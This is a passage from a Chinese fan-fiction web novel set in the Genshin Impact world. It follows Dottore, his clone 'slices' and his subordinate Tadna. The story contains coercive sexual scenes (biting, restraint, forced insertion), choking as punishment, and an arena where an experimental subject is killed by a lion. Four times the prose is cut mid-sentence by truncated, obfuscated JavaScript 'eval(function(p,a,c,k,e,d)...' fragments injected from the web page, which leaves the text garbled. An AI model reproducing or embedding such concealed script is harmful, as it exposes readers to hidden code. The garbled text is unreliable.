但好在Theta很显然并没有从我这边寻求什么意见的想法。他仿佛只是随口抱怨了一句,就如同他们在抱怨Omega的独断一样,Theta切片很快恢复了对我的温柔和关注。 就像是丝毫不在意刚才抱怨的一切以及我变化的称呼一样。 “想要喝点什么吗?”Theta环着我的身体,带着我走向桌后的椅子方向,“我有准备你平时会喝的饮品。” “不用了。”我轻微挣扎,“Theta大人,我只是来取实验数据,并不会停留太久……” 但完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我扶着Theta的肩膀,半是恐惧,半是羞赧。 “你的身体,在颤抖呢。”Theta的手掌覆上我的后背。他稍稍用力,我便被拥在Theta的怀里,Theta的唇贴近我的脖颈。 他询问:“你在害怕吗?害怕我?还是在害怕‘本体’?” “没,没有……呜……” Theta张嘴咬住我脖颈的软肉,齿尖在脆弱的血管和皮肉上嵌入。 我感受到尖锐的疼痛,随即是被咬住的地方传来的吮吸,以及温热的液体离开身体的感觉。 我无力地仰着脖颈,双手都被压在靠得极近的胸膛之间无法活动,而两条腿也被Theta故意分得很开,根本使不上力。 湿热而粗糙的舌面在伤口上重重地压着,像是要把里面的液体都压迫出来,然后再吸吮走。 “主人……” Theta没有理我。他甚至更用力地压着我的脖颈,在伤口上咬得更深,把那本来在身体内修复能量的作用下止住血的伤口再次撕开,舌尖闯进去搅弄。 疼痛尤为明显,甚至带着失血后的轻微眩晕。 我脱力地靠着Theta的胸口,任由男人施为。 “真乖。”Theta松开我的脖子,在伤口上轻柔地舔舐一下。 他伸手抚摸着自己的“杰作”,带来二次损伤的灼烧刺痛感的同时,另一只手拉开桌子的抽屉,从里面拿出一个熟悉的圆球塞进我的手里。 手指被带着合紧那球面,感受到上面凹凸不平的短刺起伏。 我感到头皮发麻。 Theta靠近我的耳边。 “我们有足够的时间一起消磨。把它放进去,塔德纳。” “不……不要……” 我下意识地拒绝。那样的大小,还有那些短刺,会坏掉的。 Theta捏紧我的后颈。 “我没有给过你拒绝的权利,塔德纳。快一点,这才只是第一个,我想,你大概不会想看到我真正生气的样子。” 80.第 80 章 …… 达达利亚好奇地看着实验室。 多托雷出声询问:“你在看什么?” “哈哈,我还是第一次来这种地方,抱歉。”达达利亚笑道,“对了,你的那位副官,我记得是叫塔德纳吧。怎么没见到他?” 多托雷沉声:“噢?你和他很熟吗?” “也就见过两次吧。加上昨天仪式结束后的那次。”达达利亚伸手随手在路过的仪器上碰了一下,被多托雷转头看了一眼后悻悻收回手。 “虽然见面的次数不多,但看得出来是一个很好的人呢。” 多托雷感到厌烦。 塔德纳的身边总会聚集各种各样的人,也会有数不清的人被塔德纳吸引,即使他那令人生畏的名声包裹着塔德纳的全部,也阻拦不了。 这些人越来越多,越来越密烦,如同讨人厌的豸虫。 多托雷偶尔会生出将塔德纳完全囚禁在自己身边的想法。 但那样行不通,必然会招致青年强烈的反抗。就如同Theta的败局一样。 他看着用寻常语气提起青年的男子。这位新晋的执行官,【公子】达达利亚,压抑着心中的不悦。 “塔德纳在执行其他的任务,今天不会在这边的实验室。” “是吗?我还以为他一直都会跟着你。” 多托雷:“……” 多托雷装作没听见地转移话题:“器材准备好了,躺上去吧。我会检测你的身体对邪眼力量的承受范围。” 在达达利亚躺上去的时候,多托雷走到另一边去拿实验试剂和器材。 时刻监控着青年的装置被随手打开,多托雷看到了青年,他正被另一个“自己”抱在怀里,湖绿色的眼睛蓄满了泪水。 像是被欺负得狠了,一遍又一遍,颤抖地叫着“主人”两个字。 多托雷的呼吸重了一下,手里的试管磕到架子上发出巨大的一声响。 达达利亚从实验台上探出头。 “怎么了?是发生什么事了吗?” “没事。” 多托雷关掉监控,语气如常地回应。 “是吗?你看上去心情不太好。” “呵。还请闭嘴吧,实验期间不要随意说话。” 实验持续了比预想当中还要长的一段时间,等到最后一组实验结束的时候,多托雷脱下手上的橡胶手套,团在一起扔进废物箱。 达达利亚坐起来,摸了摸因为药效残余尚有些疼痛的胸口。 “结果怎么样?” “你的身体数据比我想得要好,与邪眼的适配性也还算不错。不过,使用邪眼对身体造成的损耗强度很高,我并不推荐频繁使用邪眼的力量。即使,是神之眼的拥有者。” 达达利亚挠了挠头。 “老爷子也这么告诫我。放心吧,我知道的。” 橘发的青年下了实验台,整理着自己的衣服,突然像是想到了什么一样,询问多托雷。 “对了,说起来,塔德纳也会使用邪眼吗?我看他好像没有神之眼。不过在你身边做事的话,应该不会不使用这种东西吧,哈哈。那他的实力怎么样?我指单用邪眼的话。” 多托雷微笑:“你的问题太多了。” 多托雷突然对面前的橘发青年丧失了所有的耐心。即使明明在定好实验的计划和时间后,还有过对青年的一点好奇心,而刚才的实验数据也确实给多托雷带来了一点惊喜。 多托雷从实验台上拿起自己的实验记录本开始记录。 “实验结束了,你可以走了。慢走不送。” “好吧。”达达利亚对自己这位同僚喜怒不定的性格也早有耳闻,并不奇怪自己被如此冷淡地对待,想起之前【公鸡】私底下告诉他的“要远离【博士】和他身边的人”的告诫,拿起自己的外套准备离开。 正准备开门离开的时候,大门被外面的人突然打开。 达达利亚看到一名奇怪的,戴着全脸面具的青年,那头薄荷色的卷发和奇怪的耳饰,都莫名眼熟。 达达利亚愣了一下。 薄荷发色的青年似乎也没想到门后面站着一个人,猩红色的眼睛在达达利亚身上挑剔地扫过一遍。 “新的执行官?”赞迪克语气莫名地问。 达达利亚斟酌着开口:“是。你是?” 验证了自己猜想后的赞迪克毫不留情地收回视线,并没有回答这种无聊问题的打算。 “让开一下。”他的语气一般,“我要进去。” 实验室里,多托雷看过来。 “Beta Build,你来了。” 赞迪克不爽地啧了一声,唯一能看到的半边嘴角不高兴地往下撇。 达达利亚突然想到自己听说过的那些关于【博士】的传闻。 心狠手辣,没有人性的研究者,制造了大量与自己长相相同的机械个体。 达达利亚打量着赞迪克,总感觉眼前这个人,虽然外貌上和多托雷有许多相似,给人的感觉却完全不同。 唯有身上散发出的恶意和危险气息,倒是很像。 他本来还想再试探两句,却被赞迪克毫无耐心地推了出去。实验室的大门被无情地从里面关闭。 实验室内,赞迪克来到多托雷面前,与“自己的制造者”对峙着。 “你倒是很少亲自来找我。找我有事吗?”多托雷笑着问道。 “不要装傻,‘本体’。”赞迪克说,“上次你打断我,带走塔德纳的事情,还远远没有结束。你还没有给我一个回应。” 多托雷有些疑惑地询问:“嗯?什么‘回应’?” “塔德纳的记忆。”赞迪克抱着手臂,“他关于须弥的记忆全部被清除了,这样的事情,你连其他人的同意都没有取得,就擅自做出这种事。这样的决策,我无法接受。” 多托雷轻笑:“可是,塔德纳是我的人,我的宠物,想要如何对待他,难道不是我一个人的事情吗?” 赞迪克沉声:“你要‘切割我们’?” “从没说过。我只是行使了自己对于宠物的绝对处置的权利而已。你说的什么,我都听不懂。” “你这个家伙……之前无论是塔德纳放走实验体,还是重伤Omega,甚至毁掉了我的调令,你都没有任何的行为,甚至在我惩罚塔德纳的时候出手阻止。‘本体’,你不觉得你做的这些事情,有些过于荒谬了吗?” “呵呵,真是,严厉的指控啊。可是,Beta Build,你在明知道塔德纳要救实验体的情况下,为何还要将自己的调令给出呢?” 多托雷的反问让赞迪克的斥诘戛然而止。 面对赞迪克阴冷的视线,多托雷笑出声。 “所以说,住嘴吧,Beta。你想要用这个把柄拿捏塔德纳,让他不得不欠下要支付给你的‘回报’。而现在,你只是在计划失败后向我无理取闹而已。” 即使是面对另一个“自己”,多托雷也丝毫没有掩饰自己的傲慢的意思。 他的语气有些轻慢:“我从未说过你们也有对塔德纳的拥有权,记得吗?如果你来找我只是为了这种没有意义的事情的话,那我会建议你现在离开我的实验室,回去专心你的任务。” 赞迪克无法反驳。同时因为权限和实力的差距,他也无法反抗多托雷。 多托雷能够轻而易举地销毁他的存在。 赞迪克很清楚这点。而且,他也很清楚多托雷绝对做得出来这种事情。 大不了之后再多造一个切片的事情而已。多托雷最不缺的就是切片。 赞迪克收紧身侧的手指,语气变得平缓了一些。 “我还有一件事要说。” 多托雷:“请说。” “想要我同意你的这个决策,可以。但我要塔德纳之后陪我去一趟蒙德。” “嗯……你的那个部下提出的行程?呵,恕我直言,我有何理由答应呢?你只是我的切片而已,我没有理由考虑切片无理的想法。” “即便我会让塔德纳恢复记忆吗?” 多托雷的嘴角放平。 赞迪克冷笑着:“我和你不一样,我对那个家伙可没有半分的怜惜之情。我是切片,也是你,你清楚的,我有很多办法让塔德纳恢复记忆,即使那样会对塔德纳的身体造成伤害。这样呢?你还会认为我们的意见是无用的吗?‘本体’。” “哼,看来我高看了塔德纳在你心中的份量。” 多托雷沉默了良久,最终才道。 “可以,交易成立。我会让塔德纳和你一起去蒙德,但相应的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“记得之后再来找我,我很欢迎你来我这。”Theta笑着拍了拍我腰间的软肉。 我身体一颤,体内的东西也随着这一下的动作开始失控流出来。 但我没有时间清理,事实上,从这里到总实验室的距离并不算特别近,即使坐车也要二十几分钟。 匆匆告别Theta,我便朝外面走去,但步子却不敢迈的太大,甚至速度稍微快一点,就能感到失控的感觉。 我全身的肌肉都绷紧了,狼狈地弯腰进了车里,让车夫尽快回总实验室。 一路上,我都要时刻注意着全身的肌肉,不敢有一刻放松。 这一段路程显得格外折磨,等终于到了总实验室的时候,身体都快站不稳了。 我深吸一口气,几乎是凭着意志从车上下来,将自己的长外套收紧以免被其他人看出异状,然后低头朝打开实验室的门走进去。 我进来的时候看见多托雷坐在椅子上,似乎是在闭眼假寐,但放在台子上的食指一下一下地敲着。大门被打开发出声响,多托雷连动都没动一下。 我能感觉到多托雷此刻的情绪相当一般,有些紧张地咽了口口水,然后低头走过去,在多托雷的腿边跪下。 “主人,我回来了。” 不紧不慢敲击台面的声音突兀地暂停。 “我要的实验数据呢?拿回来了吗?” 我的大脑一懵,才想起来走得太过匆忙,完全忘记了自己去Theta那里是为了拿实验数据回来。 “对,对不起,主人,我忘记了。” 多托雷轻笑了一声,那声笑很短暂,一丝情绪也无。 他抬起脚,鞋面将我的下颌抬起。 “忘了?”多托雷看着我,语气冰冷,“究竟是忘了,还是脑子里只想着被Theta上,就什么都想不起来了?” 多托雷的鞋尖用力地抵在我的喉结上,一下一下压迫着带来难受的窒息感。 我不敢反抗,只能仰着头任由多托雷动作,疼得手指捏紧,指间嵌进掌心的软肉里。 “真是下.流的宠物。塔德纳,你有点让我生气了。” 81.第 81 章 …… 自上次的惩罚过后,有相当一段长的时间我都在避开多托雷的切片行动,即使是任务要求,也会尽量安排下属前往代替。 Theta或许是被多托雷警告过了,也或许是为数不多见到我的时候我都避开了与他靠得太近,一副害怕拒绝的样子,总之,他并没有再强迫我做那些事。 多托雷对我的掌控欲更强烈了。 尽管我不清楚为何多托雷会突然改变对自己切片和我相处时的态度,但从更为明智的选择来看,我唯有远离其他切片这一个选择。 多托雷是我唯一的主人。 这一点无可争议,也无可改变。 我原本以为做出抉择后至少能够暂时维持一段时间的平静,但这一切,都因为多托雷的一句话成为了幻想。 “蒙德的任务,Beta指名要你一起前去,使团会在后天出发。” 我愣了一下,跪在地上看向斜倚在椅背上的多托雷。 多托雷正在看手里的实验记录,他甚至没有多分一丝眼神给我。 “是有任务吗?”我试探着询问。 “不,没有其他的特殊的任务。”多托雷放下实验记录。 我从他的语气里听出来一点无奈。 “Beta切片来我这里闹了一顿。海勒西斯的实验失败了,他那个不成器的下属又提了要去蒙德征收素体的事情。”说到这里,多托雷哼笑了一声。 “Beta总是找些傻头傻脑,不堪重用的人放在身边。他估计会用魔龙乌萨的事情逼迫蒙德那边松口。总之,他身边缺一个能拿得出手的下属,所以想让你一起去一趟。” “您,答应了,是吗?” 多托雷伸手,我乖巧地爬得更近,将自己的脸放进掌心,感受着那皮质的手套质感抚摸着脸侧。 “我的确答应了。”他如此回答。 我垂下眼睛。 “那么,遵从您的命令,我的主人。” 多托雷轻声地笑了一声,抚摸着我侧脸的手掌落到我的后颈让我贴着他的大腿侧躺下。 他安抚着:“放心,我已让人给你安排了使团的临时职位,你不用一切都听从Beta的命令。只不过,别太惹怒他就行。” “是,主人。” …… 海勒西斯的实验,我对此有所耳闻,那座愚人众的地下斗技场,因为一些非法的,上不得台面的东西,即使在愚人众内部,也是声名狼藉,臭名昭著。 Beta切片手底下那个狂妄粗鄙,没什么能力的家伙,我记得叫克洛伯,鞍前马后地替Beta在海勒西斯进行了许多人体实验,比如—— 被改造之后的实验体与猛兽的厮杀。 我半靠着到腰腹的石制的栏杆,像下面多边形的斗台看去。 海勒西斯的灯光很暗,三三两两结队的人影隐没在房间的玻璃窗后面。 那些是斗技场的熟客,大多是至冬和愚人众的高层之类的,所以在斗技场有自己的专属观看房间。 我几乎从不涉足这里,但【博士】的名号是这里的常客,想要的话,我当然也可以凭借着多托雷的名号在这里寻得一间视野极佳又无人打扰的房间一个人观看。 不过,我暂时没有如此大张旗鼓的打算,所以只是在公共观台找了个位置,为了避免被人认出来,还戴上了兜帽。 等待着上台的亡命徒,或者是被人带来用作取乐的奴隶,那些人没有资格出现在观赏台,而身份低微的普通人则是只被允许在低层观赏。 而出现在上层观赏区的人,非富即贵。我走进来的时候,在人群中不着痕迹地扫视一圈,竟看见了许多眼熟的面容。 那些平日将自己包装得光鲜亮丽的家伙,此刻都出现在黑暗淤积的地下斗技场,欣赏下面人类与人类,或者人类与野兽的厮杀,然后露出笑容。 不想和那些人打交道,我将用作遮挡面容的斗篷扯得更紧,独自找了一处人少的角落。 “女士们先生们,欢迎莅临海勒西斯地下斗技场。下一位选手,第159号,这是一位特殊的选手,与他对阵的,将会是一只凶残的成年狮兽。这位选手究竟能不能活下来呢?让我们,拭目以待吧!” 随着报幕人的话音落下,斗台两侧的铁门缓缓升起,紧接着,一名身材瘦弱的男人走了出来。 他的年龄不大,身上穿着实验室会用的衣服,一只手腕上戴着一个黑色的铁圈,那是预防实验体逃跑的装置。 而另一边出现的,是一只体型个头足有男人两倍大的一头狮子,在狮子朝着男人发出低吼声的时候,我听到斗技场内响起激烈的起哄声。 “噢噢噢,终于有点意思了!” “上!咬死他!” “愣着干什么?动起来啊!没用的东西,我可是在赢面上押了五十万啊!” 斗技场的赌局,以每一场的胜负为赌面,是斗技场的主要营收之一,同时也是海勒西斯臭名远扬也有无数的人挤破了脑袋往里面钻的原因。 贪婪的亡命徒无论在哪儿都不缺。 不过结果恐怕注定要让那位赌徒失望了。 随着两方交缠在一起,那实验体开始逃窜惨叫,结局几乎没有丝毫的悬念,那名实验体最终命丧狮口。 人们纷纷发出倒彩的呼声。 一个生命在此消散,终途只获得同类的冷漠和嘘声。 我对这样的戏码感到无趣,又没从实验体身上看到什么特殊的力量,只能推断这大概是实验的“失败品”。至于接下来的,都是些奴隶厮杀的节目,我不喜欢这种东西,于是准备转身离开。 我一边走路,脑袋里还在思考着刚才的一幕,以至于一时没能察觉,和进门的人撞在一起。 “呃……谁啊,有没有长眼,碰到大人了负的起责任吗?啊?!” 我踉跄两步站稳,伸手将兜帽扯稳,稍稍抬头看向前面的两人。 一名身形虚胖,五十岁左右的男人,看手杖的花纹纹样应该是某个落魄了的贵族后裔,但衣服带着愚人众的标志,说明男人在愚人众担任职务。 而他的身边,刚才那道尖细声音的发出者,是一位少年,身形瘦弱,大概是男人的侍从。 少年扶着男人肥胖的身体,男人的手搭在少年的腰部。 好吧,看来也可能包含着其他的关系。这种事情在权势者那里也并不少见就是了。 我准备绕开两人直接离开,被少年伸手拦住。 “你怎么回事?撞到了人都不道歉吗?你知不知道你撞到的是什么人?”少年尖着嗓子问责。 他的声音刺耳到让人不舒服,我能感受到附近的许多人都在往这边看。 大多是幸灾乐祸的眼神。 男人拍了拍少年的肩膀,用那双油腻的眼睛看我。 “不用这么大惊小怪,只是被撞到了,我想这位先生也是不小心的,对吗?” 他询问的时候,眼神一直盯着我,似乎是在等待我回答“是”。但我实在没心情和这家伙说话。 “说完了可以让开一下吗?我还要出去。” 少年尖叫起来:“你什么态度?敢这么对大人无礼……” “闭嘴。”男人冷眼斜看了少年一眼,后者害怕地抖了一下,瞬间安静下来。 男人再次看向我:“呵呵,虽然我并不是什么喜欢斤斤计较的人,但阁下如此将我撞倒却连一句道歉也没有,还是有点说不过去吧。” 男人狡诈的眼睛里划过一道恶意:“当然,这件事情也好解决,阁下只需跪下向我道个歉,我就保证不会再纠结这件事的过错了,否则,我也不敢保证,阁下出了这里会遇到什么事情。” 我:“……” 好久没遇到这么明目张胆以权压人的事情了,原来这就是被权势压人的感觉吗? 男人:“怎么样?还是说,阁下更想被……” “这里怎么回事?怎么门这里这么多人,让开一下可以吗?” 门外突然传来其他人的声音,在被男人单方面紧绷的气氛里显得有些突兀。男人有些愠怒地转头看去,在看到身后的人的时候神情突然变得僵硬。 “谁……公,【公子】大人?您怎么在这里?” 熟悉的橘毛头从缝隙里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是又如何。”达达利亚看过来,那双蓝色的眼睛也一动不动地落在我的脸上。 “有人自讨苦吃而已。” 青年的视线实在是过于强烈和不加掩饰,我几乎不敢过多地和那双眼睛对视,垂下了视线。 “忘了问,【公子】大人怎么会在这里?” “我可是这里的常客。”青年笑起来,露出与刚才冷眼看男人时截然不同的神色。 “争斗与鲜血,没有哪一个战士不会对此不热衷,我讨厌那些人轻视他人生命的感觉,却喜欢斗台上的打斗与厮杀。你可能不太清楚,这里的傍晚场会是擂台,很多人都会来这里一教高下赚取钱财。” 达达利亚看我的眼神突然变得狂热。 “对了对了,我听说你也会使用邪眼,要和我打一场吗?” 我抽了抽嘴角,想起被猛兽撕咬的实验体和那些起哄的人群。 “这太不体面了,恕我拒绝,【公子】大人。” “好吧。”达达利亚有些惋惜地叹气,“我是真的对你的实力很好奇来着。” 我:“……放过我吧,【公子】大人,我这点三脚猫的功夫哪够和您打的。” “我可不会相信你这种谦虚之词。” 达达利亚拍拍我的肩膀,青年有些用力的力度拍的我的肩膀微疼,带着一阵酥麻。 “你之后有事情吗?来看我的擂台吧,说不定看着看着就回心转意要和我比上一场也说不定。” “欸,【公子】大人,走慢点……” 最终还是拗不过达达利亚被硬拉着去了擂台赛准备区,我找了个人少的外圈,看着橘发的青年意气风发地跳上擂台,水系神之眼化成的双刃光彩流转,将挑战者一个接一个地挑下台。 青年酣畅淋漓地战斗,衣角露出的一小节腰身肌肉紧绷,那双并无多少光亮的蓝色双眼在此刻,被昏暗的灯光一映,也散发着微弱的细光。 如同阳光刺入深海,顷刻被卷碎吞入。 82.第 82 章 看得出来达达利亚的确经常出入这种场所,以至于打到后面的时候,已经没有人愿意上台和他打了。我听说地下斗技场也存在打黑拳之类赚钱的人,想必都知道达达利亚的厉害,不愿意再浪费自己的时间和一个永远战胜不了的人继续比试。 达达利亚似乎也已经对这种情况习以为常了,在挑飞最后一个人后,看着下面再无人应战,达达利亚收了武器跳下台。 青年在人群中搜索了一阵,很快锁定我的方向走过来。 “怎么样?”达达利亚问我,还带着战斗过后未曾消退的兴奋。 我想起刚才所见擂台上诸般武器精通的青年,发自内心地夸赞道。 “【公子】大人的实力真的很强,不愧是愚人众最年轻的执行官。” “哈哈,那比起【博士】如何?” “嗯……这恐怕得您二位先比试一场。” 达达利亚的表情跃跃欲试:“真的吗?我之前有过想找【博士】切磋一下的想法,但是老爷子一直不让。哦对了,‘老爷子’就是【公鸡】,你知道他吧。” “自然。听说【公鸡】大人对您和您的家人照顾有加。” 达达利亚笑了笑:“是这样,你的消息很灵通啊。老爷子对我有提衔之恩,还答应我会照顾好我的家人,他偶尔会送来家里一些馅饼和礼物,我很感激他。” 【公鸡】普契涅拉,那位至冬的市长大人。我与那位大人有些交集,大多时候都不能称之为友善或者美好的记忆。听到达达利亚对【公鸡】的看法,倒真有些出乎我的意料,以至于回复的语气超脱控制稍稍上扬了几分。 “哦?是吗?” 达达利亚顿了一下:“你这个语气,还真有点像【博士】。” 我一瞬间怀疑自己的耳朵出了问题。 谁?像谁?谁像多托雷? 我吗? 我有些怀疑人生地看向达达利亚。 “【公子】大人,就算是对我的回应感到不满,也不用用这种方法报复我吧。” “诶?这样吗?”达达利亚露出一个有些惊讶的表情,“你不是【博士】的副官吗?而且我还听说,【博士】和你的关系是……” 达达利亚突然住嘴,像是意识到了自己说了什么东西。 我:“……” 合着我和多托雷之间的关系真就是全至冬都知道了呗? 等等,说起来,第一次在湖边见到达达利亚自报姓名的时候,达达利亚似乎就表情有些怪异……结果原来那个时候就?! 我有些虚弱地扶额:“【公子】大人,少听一些八卦吧。” 达达利亚干笑了两声。 我叹了口气,选择放弃和眼前的人继续探讨我和多托雷的私人关系。 “【公鸡】大人是一位十分称职的市长,这一点无可否认。我也很钦佩那位大人,只不过因为事务上的一些冲突,【公鸡】大人很少对我有好态度。” “您也知道的吧。”我意有所指,“主人的那些事。我这个做副官的可没少被拉过去泄愤。” “略有耳闻。”提到同僚的脏事,达达利亚的态度拘谨了一些,“所以你这次来斗技场也是为了这方面相关的事情?” 我瞥了一眼青年,从青年努力掩饰的神情中察觉到一丝刻意的试探。 青年或许只是因为好奇,也或许是出于【公鸡】一方的利益。但我并不如何反感这样的事情,在这个位置上多待一天,我所受到的试探和争议就一直持续。 于是我挑了一些回答:“并不。我最近正在准备去蒙德的事情,实验室方面的事情都交接给其他人了,来斗技场只是找一位大人而已,不过那位大人今天好像不在这里。” “哪位大人?” 达达利亚下意识地问道,话出口又露出反悔的表情,“抱歉,如果不能说的话当作我没问就好。” “怎么会?”我笑道,“并不是什么敏感的事情,说起来,您应该也认识吧,如今还在至冬的主人的几位切片。我找的是其中一位。” “原来如此。”达达利亚若有所思。 青年沉默了一会儿,抬头看了一眼斗技场的时钟。 “啊,都这个点了。”达达利亚看向我,“我得离开了,冬妮娅早上还嘱咐过我要早点回家,顺带带一些鱼干回去。” 谈及家人的青年似乎又一瞬间脱离了刚才的状态,成了毛毛躁躁的青年人,很难让人将青年与刚才在擂台上大杀四方的人联想起来。 我愣了一下,很快反应过来。 “您请便就好。” “对了,还有一件事,差点没想起来。”达达利亚看向我,“冬妮娅说过有机会想邀请你到家里做客感谢,不知道你最近有没有时间。” “啊?” …… 虽然不知道为何,但还是莫名其妙地跟着一起回了。 因为马上要跟着Beta去蒙德的缘故,多托雷最近并没有限制我的外出时间,理论上来讲,在出访蒙德之前,偶遇达达利亚的今日,就是最佳的赴邀时间。 当然,我自然也可以拒绝这次邀请。 不,或者说,我理应拒绝这次邀请才对。 最近多托雷对我的态度并不算特别明晰,他不喜欢我和其他切片接触过近,那对于除切片外的其他人呢? 我有些纠结,拿不准主意。 毕竟,我和【女士】有约的时候,多托雷也不会过多干涉,甚至偶尔会陪同我一起参加,虽然他一同前往的时候都会让现场的气氛变得有些奇怪。 和达达利亚去他家吃饭应该没有什么问题吧。 我如此想着,心里又忍不住生出一股退缩之情出来。 但是,已经答应了要前往赴宴,半途爽约反悔实在不是我行事的风格,更何况—— 发出邀请的人是达达利亚的妹妹冬妮娅,而且,达达利亚看起来也很高兴。 不同于平时交流到事务相关的话题时青年下意识的掩饰真心与试探,达达利亚是真的由衷地为“我同意去家中赴宴”这件事感到高兴。 以达达利亚的身份和对家人的敏感程度,能够同意自己的家人和我这个“愚人众最危险的执行官的副官”接触,或许也算是一种对我的信任。 毕竟据说达达利亚甚至对自己的两位弟弟隐藏了自己的愚人众的身份,其对家人的关照程度,可见一斑。 不过,这似乎是第一次,完全脱离于多托雷的阴影,接收到来自其他人的正面情绪。 我有些晃神,模糊中听到有人在我耳边说话。 “喂喂,塔德纳,你能听到我说话吗?塔德纳?” 我听到自己的名字回过神,看到达达利亚伸手在我眼前晃了晃。 “你没事吧?我叫了你好几声了。” 我露出一个笑容:“没事的,只是在想一些事想得出神了而已。您叫我有事吗?” “哈哈,其实是要和你提前商量好一件事。”达达利亚怀里抱着刚才我们顺路去集市买的鱼干,道,“我和家里人隐瞒了我在愚人众的事情,所以到时候,你一定不要在用‘【公子】大人’来称呼我了。” “那我应该叫您?” “‘阿贾克斯’,直接叫这个名字就好。”达达利亚道,“还有,敬语也不要用,不然托克他们会好奇询问的。” “好吧……”我犹豫了一下,才有些磕磕绊绊地叫出那个名字。 “阿贾,克斯……” 青年灿烂地冲我笑了一下。 我感到有些别扭。 上一次这样用平级的,寻常的语气称呼其他人的名字是什么时候呢?已经记不起来了,唯能确定的是,除去已经模糊想不起来的记忆,我在至冬成为副官后甚至极少用真名称呼其他人。 除去面对下属,用真名称呼套取信任的时候。 “别发呆了,快走吧,冬妮娅他们一定在家里等急了。” 最后一缕夕阳洒在青年的橘发上晃进眼里,我怔愣了一下,然后才缓过神来,语气间不由得带上一点真诚的笑意。 “好。” 达达利亚的家是一幢三层的独栋,最上面有一处阁楼,年代看上去已经有些年份,看得出来是祖传的家宅,而非愚人众提供的执行官住宅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这是最新款式的留影机,我对比了和以前的款式的差距,这一款是最适合新手入门,同时画质功能也很不错的一款。希望你能喜欢,冬妮娅。” 冬妮娅开心地接过,小心翼翼地捧着留影机欣赏。 “太谢谢你了,塔德纳哥哥。” 达达利亚则是有些惊奇地看着我的储存袋。 “这是怎么做到的?明明看上去只是一个很小的平平无奇的袋子。” 我沉吟了一下:“你或许知道‘璃月仙法’?” 达达利亚更惊讶了:“这就是仙法吗?不是说只有璃月的仙人才会……” “当然不是仙法,但是原理相似,是……那一位给我做的。” “呃……”达达利亚或许是听到了完全在意料之外的回答,噎了一下,“他,呃,他还会做这个?我以为他只会对实验研究感兴趣。” “研究的副产物而已。”我笑笑,将袋子收回去。 “你有这种东西竟然不告诉我,我可是抱着那一大袋鱼干走了一路。”达达利亚像是突然想起,控诉般地看着我。 我:“抱歉,鱼干的鱼腥味实在是太大了,我不能接受鱼干被放进袋子里。” “好吧。” 同达达利亚的家人共进了晚餐,难得地吃到了一顿热乎的饭菜,甚至是和一群人在一起吃饭。这对我是极为新奇的体验,毕竟现存的记忆里,我几乎不会进食,偶尔吃饭也是和Theta两个人一起。 在达达利亚的家里度过了难忘的一段时间,并且观看了冬妮娅最近拍的一些照片,很有生气,构图虽然还比较稚嫩,但已经能看出少女的天赋和努力。 在临近离开的时候,由冬妮娅提议,我们拍了一张合照,作为纪念,留有一张在我的手里。 我将合照放在储物袋里面珍藏起来,连同林尼之前给我的信一起。 83.第 83 章 在达达利亚家经历过的短暂时光如同电影的间幕一样,草草了结,最终只剩下记忆。 回到住所的时候已经是夜晚了,打开门走进去看到多托雷坐在沙发上,我自觉地放轻脚步走过去,将自己的视线收好,跪到多托雷的脚边。 “主人,我回来了。” 多托雷手里拿着一本东西在看,或许是实验报告,也或者是一些名字长到让人看不懂的专业书籍。 他没有理我,只是依然自顾自地看着手里的东西,然后伸出手指压着纸边翻过一页。 从书页翻过的声音和速度来看,我更倾向于多托雷正在看的是一本书。 书页被翻过了好几页,我注意着那纸张摩擦发出的声音,膝盖隔着一层薄布料跪在地上渐渐感受到不适,但比起膝盖,此刻对我更加摧残的是多托雷对我的冷落。 无论是从身体还是精神。 我将头低得更低,双手交叠着放在小腹的位置,腰背挺直与地面呈一个合适的夹角。这样的姿势显得更加低顺,也更加乖巧。 正片空间静的只能听到多托雷翻书的声音,被冷落的时间越是持续,心中的不安也就越发加深,我开始胡乱思考是不是因为去了达达利亚家赴宴而犯错,又或者是前几天哪次侍候没能完美完成。 直到过了很久,至少在我的感觉上,那已经是相当长的一段时间了,长到令人几乎难以忍受的时候,多托雷才放下书。 “今天的结果如何?” 一如既往的冷淡。 但我由衷地对多托雷终于肯理我这件事感到高兴。稍微压制心中喷涌而出的愉快,我低头回答。 “我去了一趟海勒西斯,但没有在那里找到Beta大人,不过有实验体被送到斗台实验,结果很不好。” “嗯。”多托雷平淡地应了一声,那翻书的声音继续响起。 不紧不慢。 我咬了咬牙,犹豫了一下才试探着开口:“主人,还有一件事……” “哦?什么事?”多托雷的语气都没怎么变,仿若对我的事情并不如何在意,只是随意反问了一句。 我却心慌地不行:“在海勒西斯遇到了【公子】大人,【公子】大人邀请我前往他的住处共进晚餐,我答应了……” 话语出口的一瞬间我就感受到了强烈的悔意,恨不得将已经说出口的句子拽回来,揉吧揉吧再吞回去,当作什么都没有发生过一般。 但这是不可能的,况且,多托雷对我的行踪了如指掌,我根本不可能在他的手下有什么小动作,与其被迫承认,不如主动坦白。 多托雷一向讨厌被隐瞒和欺骗。尤其是对我。 